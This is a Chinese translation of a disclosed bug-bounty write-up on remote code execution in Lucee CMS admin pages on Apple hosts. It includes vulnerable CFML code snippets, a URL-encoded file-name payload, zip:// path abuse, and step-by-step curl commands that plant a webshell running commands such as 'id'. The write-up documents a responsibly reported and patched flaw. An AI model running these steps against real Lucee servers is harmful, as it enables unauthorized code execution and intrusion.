查看原文
其他

我俩也组了个队,找到一个苹果RCE 0day,获 $5 万奖金

代码卫士 2022-05-23

 聚焦源代码安全,网罗国内外最新资讯!

作者:HarshJaiswal 和 Rahul Maini

编译:奇安信代码卫士团队




2020年10月,几名研究员合力从苹果产品中发现55个漏洞并获30多万美元的奖金。受此激励,本文作者应用安全领域的漏洞猎人 Harsh Jaiswal 和 Rahul Maini 组队也发现了苹果公司的多个 0day,并最终获得5万美元的奖金。文章编译如下。


看了10月份,Sam 和其他人花10个月找到55个漏洞的博客文章后,我们原以为个人信息泄露或访问苹果服务器/内网这类型的漏洞是苹果公司最为感兴趣的漏洞。


侦查和指纹


在观察侦查到的数据和探索可能正在运行的服务时,我们发现了三个主机运行在基于 Lucee 的 CMS 上。

由于 Lucee 和 CMS 易在本地托管,因此是个不错的目标。我们选择主攻 Lucee,理由是它暴露了管理面板且之前就被曝多个漏洞。Lucee 在 Railo 上下文中分叉。我们可从三个不同的主机上访问管理面板,其中两个运行过时版本,一个运行的是当前版本。

  • https://facilities.apple.com/ (新版本)

  • https://booktravel.apple.com/ (老版本)

  • https://booktravel-uat.apple.com/(老版本)


苹果的 WAF 行为


要利用接下来将讨论的漏洞,我们需要理解苹果使用的 WAF,且更需要了解 facilities.apple.com 上的前端服务器是如何与其交互的。

苹果的 WAF 一言难尽,它通过 URL (查询参数)拦截了几乎所有的路径遍历/SQLi 漏洞。

Facilities.apple.com 前端服务器(反向代理)的配置是仅显示状态码为 200 和 404 的后端服务器响应。如果在后台获得任何其它状态码,则前端服务器将提示403,和触发 WAF 时的响应一致。


Lucee 配置不当


在本地测试 Lucee 时,我们发现一个严重的配置不当问题,可使攻击者直接访问经认证的 CFM (ColdFusion) 文件。我们可以在完全未认证的情况下执行很多经认证的操作。

当我们点击 CFM 文件中的 request.admintype 变量/属性时,由于我们并未以管理员身份认证,因此执行流将会停止。然而,检查进行之前的任何代码都会执行,因此必须找到点击 request.admintype 之前的某类 bug。

我们使用这三个文件在 Lucee 上获取完整的预认证/未认证 RCE。

  • imgProcess.cfm (老版本中不可用)

  • admin.search.index.cfm

  • ext.applications.upload.cfm


尝试失败


imgProcess.cfm 中的简单 RCE

为复制苹果的安装程序,我们获得运行同样版本的 Lucee 本地副本。打开不具有任何参数的 imgProcess.cfm 时,安装程序抛出了一个异常。在苹果服务器上打开时我们得到了一个403的响应,也就是说文件存在。我们只需指定正确的参数/值即可;否则后台服务器将抛出异常,而前端服务器会给出403。

错误的参数:


正确的参数:


该文件中存在一个路径遍历漏洞,可在服务器上的任何地方创建一个指定内容的文件。

<cfoutput> <cffile action="write" file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#\__#url.file#" Output="#form.imgSrc#" createPath="true"></cfoutput>


它获取了一个查询参数 file 并通过如下命令行将其创建为一个文件:

{temp-directory}/admin-ext-thumbnails/__{our-input}

输入可通过 post 参数 imgSrc 进行定义。

可以看到,在利用路径遍历漏洞前,必须存在目录 _ ,因为Linux 要求在遍历前存在路径。幸运的是,如果路径不存在,expandPath 会创建该路径并将路径返回为一个字符串。因此,传递 file=/../../../context/pwn.cfm 将创建 _ 目录并遍历到 webroot 中的上下文目录,因此我们获得一个 RCE。

然而,即使有了这个漏洞,我们也无法在这个苹果案例中利用,因为 WAF 拦截了查询参数中的 ../。该端点会请求参数 file 为查询参数 (url.file,form.imgSrc)。如果均为 form 或 post 参数,则无法触发 WAF。在不触发 WAF 的前提下,我们仍然使用这个端点创建文件(名称和内容由我们在某个目录中控制)。


怎么办?我们如何才能避免触发 WAF?


狡猾的副本

admin.search.index.cfm 可使我们hiding一个目录并将其内容拷贝到指定地址。然而,copy 函数非常狡猾,它实际上并不会复制文件内容,也不会保留文件扩展。

这个端点中有两个参数:

  • dataDir

  • luceeArchiveZipPath

dataDir 是我们想要将文件(通过 luceeArchiveZipPath 参数指定的文件)复制到的路径。如果路径不存在,则创建该路径。我们可以传递一个绝对路径。

<cfif not directoryExists(dataDir)> <cfdirectory action="create" directory="#dataDir#" mode="777" recurse="true" /></cfif>


请求示例:

GET /lucee/admin/admin.search.index.cfm?dataDir=/copy/to/path/here/&LUCEEARCHIVEZIPPATH=/copy/from/path/here HTTP/1.1Host: facilities.apple.comUser-Agent: Mozilla/5.0 Connection: close


了解 copy 函数并不标准后,我们深入分析下其中的代码。

它的 CFML 标记值得关注:

<cfdirectory action="list" directory="#luceeArchiveZipPath#" filter="*.*.cfm" name="qFiles" sort="name" />


该标记在 luceeArchiveZipPath 目录中列出了文件。filter 属性仅与格式为 *.*.cfm 的列表文件交互。该查询结果存储在变量 “qFiles” 中。

接着,它会遍历每个文件(存储在变量 currFile 中),将文件名称中的 ‘.cfm’ 替换为一个空字符串 ‘’,并将更新后的文件名称存储在变量 currAction 中。因此,假设我们的文件名称是 test.xyz.cfm,它会变为 test.xyz。

<cfset currAction = replace(qFiles.name, '.cfm', '') />


之后,检查目录 dataDir 中是否存在类似于 ‘test.xyz.en.txt’ 或 ‘test.xyz.de.txt’ 的文件名称。该 dataDir 变量由用户控制。如果该文件不存在,则会用空格替换文件名称中的点 (‘.’)并将其保存在变量 pageContents.Ing.currAction 中。

<cfif fileExists('#dataDir##currAction#.#lng#.txt')><cfset pageContents[lng][currAction] = fileRead('#dataDir##currAction#.#lng#.txt', 'utf-8') /><cfelse><!--- make sure we will also find this page when searching for the file name---><cfset pageContents[lng][currAction] = "#replace(currAction, '.', ' ')# " /></cfif>


随后,创建文件 test.xyz.<lang>.txt,pageContents.Ing.currAction 变量的值为文件内容。

遗憾的是,即使我们可以控制该文件的内容,但它还是创建了.txt文件。不过后续可以看下如何利用文件名称本身搞事。

接下来,将currFile 的内容存储在变量 data 中,过滤掉内容不符合正则表达式 [''"##]stText\..+?[''"##] 的文件,并将其放入 finds 数组中。

<cfset data = fileread(currFile) /><cfset finds = rematchNoCase('[''"##]stText\..+?[''"##]', data) />


之后循环检查 finds 数组中,是否每个项目都以 key 的形式出现。如否,则会将其创建为一个 key 并存储在 searchresults 变量中。

<cfloop array="#finds#" index="str"> <cfset str = rereplace(listRest(str, '.'), '.$', '') /> [..snip..] <cfif structKeyExists(translations.en, str)> <cfif not structKeyExists(searchresults[str], currAction)> <cfset searchresults[str][currAction] = 1 /> <cfelse> <cfset searchresults[str][currAction]++ /> </cfif> </cfif></cfloop>


最后,这些 key(即 searchresults 变量)以 JSON 的格式存储在 dataDir 目录中名为 “searchindex.cfm” 的文件中。

<cffile action="write" file="#dataDir#searchindex.cfm" charset="utf-8" output="#serialize(searchresults)#" mode="644" />

Facilities.apple.com 中的 RCE


实际上我们结合利用 imgProcess.cfm 和 admin.search.index.cfm,就在 https://facilities.apple.com 上得到了一个 RCE。

现在,我们可以控制复制文件的目标地址目录(参数 dataDir)并且能够指定复制文件的源目录(参数 luceeArchiveZipPath)。

如果我们可以在服务器上创建这样一个文件:文件名称是 server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm,内容是"#stText.x.f#" ,那么就能通过 luceeArchiveZipPath 将路径传递给 admin.search.index.cfm。由于server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm 不存在,因此将会创建该key 并写入名为 searchindex.cfm 的文件中。这意味着我们可以通过参数 dataDir 来控制任何目录中searchindex.cfm 文件中的 CFML 标记(类似于 PHP 标记),也就是说我们可以使用该webroot 路径在服务器上执行代码!

我们可以使用 imgProcess.cfm 在目标文件系统上创建文件  server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm,而其内容匹配正则表达式 [''"##]stText\..+?[''"##]。

这一尝试并不会触发 WAF,因为我们并未利用路径遍历漏洞。

获得 shell 的步骤

  • 创建文件,其文件名称是 server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm,内容是 "#stText.x.f#"(匹配正则表达式)。我们将用 URL 对文件名称进行编码,因为后端 (tomcat) 不接受某些字符:

curl -X POST 'https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d' --data 'imgSrc="#stText.Buttons.save#"'

  • 复制文件名称,准备执行代码

curl 'http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/'


  • 编写 shell,触发代码执行

curl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell
  • 访问 webshell

    https://facilities.apple.com/lucee/rootxharsh/PoC.cfm



其它主机的情况如何?


由于老旧版本中不可使用 imgProcess.cfm,因此我们必须找到某种方式在其它两个主机上获得 RCE。我们发现了另外一种方法。

未经认证的 .lex 文件上传

ext.applications.upload.cfm 部分未经认证。代码片段非常简单。我们需要传递extfile 格式的参数,而文件名称的扩展被设置为 .lex,否则将抛出异常。

<cfif not structKeyExists(form, "extfile") or form.extfile eq ""> ...</cfif><!--- try to upload (.zip and .re) ---><cftry> <cffile action="upload" filefield="extfile" destination="#GetTempDirectory()#" nameconflict="makeunique" /> <cfif cffile.serverfileext neq "lex"> <cfthrow message="Only .lex is allowed as extension!" /> </cfif> <cfcatch> ... </cfcatch></cftry>
<cfset zipfile = "#rereplace(cffile.serverdirectory, '[/\\]$', '')##server.separator.file##cffile.serverfile#" />


通过 .lex 扩展遍历代码:

<cfif cffile.serverfileext eq "lex">... type="#request.adminType#"...</cfif>

由于并没有设置 request.admintype,因此它会导致异常。然而,在出现这种情况前,文件仍然被上传,可从如下信息得到证实:


.lex 文件不要紧,但具有 ‘.lex’ 扩展的文档或 zip 文件实际上是 Lucee 的一种扩展格式,可用于上传。此外,由于并未对内容进行检查,因此我们可以将其设置为任何内容。

Exploit

通过查看 Lucee可知,它允许使用zip://、file:// 等协议/方案(在利用链中使用),因此我们可以在 fileSystem 函数具有完全受控输入(本例中是 luceeArchiveZipPath)的情况下指定这些方案。

现在我们可以利用 ext.applications.upload.cfm 创建 .lex 文件,其中内含一个 ZIP 文档,而该文档中包含文件名称为 server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm、内容为 "#stText.x.f#" 的文件。

在文件系统中具有 ZIP 文档后,我们可以利用 luceeArchiveZipPath 变量查询ZIP 文档中的 *.*cfm 文件。

在其它2个主机上获得shell

  • 创建一个文件,其文件名称为 server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm,内容为 "#stText.x.f#",并将其打包为 payload.lex。


  • 通过上述提到的未认证 .lex 文件上传将 .lex 文件上传到 ext.applications.upload.cfm 中。

curl -vv -F extfile=@payload.lex https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm


  • 文件系统中配置了任意 .lex(zip文档)和 zip:// 格式后,我们可以进行如下工作:

curl https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex

  • 当前,名为 server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm 的文件已以文本的形式被添加至 /<lucee web>/context/exploit/ 下的searchindex.cfm 文件中,我们可以通过 https://booktravel.apple.com/<lucee root>/exploit/searchindex.cfm 来访问它。

  • 向 https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell 提出请求,将创建 webshell

  • Webshell:https://booktravel.apple.com/lucee/exploit/test.cfm?cmd=id


由于负载平衡器的缘故,我们必须使用入侵工具来获取 shell。


结论


苹果虽然迅速修复了这些漏洞,但表示在做出其它变化前不能公开详情。最终,苹果奖励了5万美元的赏金。

另外,我们还和苹果公司一起和 Lucee 团队进行沟通。Lucee 团队通过限制对 cfm 文件直接访问权限的方法修复了该漏洞。目前正在等待 CVE 编号的分配。

非常感谢苹果产品安全团队的信息透明做法,并允许我们披露此 writeup!




推荐阅读
奋战3个月,我们挖到55个苹果漏洞,获得近30万美元奖金
苹果修复三个已遭利用的 iOS 0day
不到4个小时,我找到了一枚苹果 0day



原文链接

https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md


题图:Pixabay License


本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。



奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错,就点个 “在看” 或 "” 吧~


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存